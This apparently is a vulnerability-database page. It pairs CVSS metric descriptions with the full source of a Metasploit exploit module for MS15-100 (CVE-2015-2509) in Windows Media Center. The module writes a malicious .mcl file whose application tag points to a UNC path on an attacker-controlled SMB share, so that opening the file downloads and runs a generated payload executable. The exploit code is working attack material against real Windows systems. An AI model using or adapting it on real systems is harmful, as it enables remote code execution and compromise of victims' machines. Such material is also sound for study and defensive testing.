The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
High
AC
The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Microsoft Windows Media Center MCL Code Execution##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Exploit::Remote::SMB::Server::Share
def initialize(info={})
super(update_info(info,
'Name' => "MS15-100 Microsoft Windows Media Center MCL Vulnerability",
'Description' => %q{
This module exploits a vulnerability in Windows Media Center. By supplying
an UNC path in the *.mcl file, a remote file will be automatically downloaded,
which can result in arbitrary code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'sinn3r',
],
'References' =>
[
['CVE', '2015-2509'],
['MSB', 'MS15-100']
],
'Payload' =>
{
'DisableNops' => true
},
'DefaultOptions' =>
{
'DisablePayloadHandler' => 'false'
},
'Platform' => 'win',
'Targets' =>
[
['Windows', {}],
],
'Privileged' => false,
'DisclosureDate' => "Sep 8 2015",
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [true, 'The MCL file', 'msf.mcl']),
OptString.new('FILE_NAME', [ false, 'The name of the malicious payload to execute', 'msf.exe'])
], self.class)
deregister_options('FILE_CONTENTS')
end
def generate_mcl
%Q|<application run="#{unc}" />|
end
def primer
self.file_contents = generate_payload_exe
print_status("Malicious executable at #{unc}...")
print_status("Creating '#{datastore['FILENAME']}' file ...")
mcl = generate_mcl
file_create(mcl)
end
end
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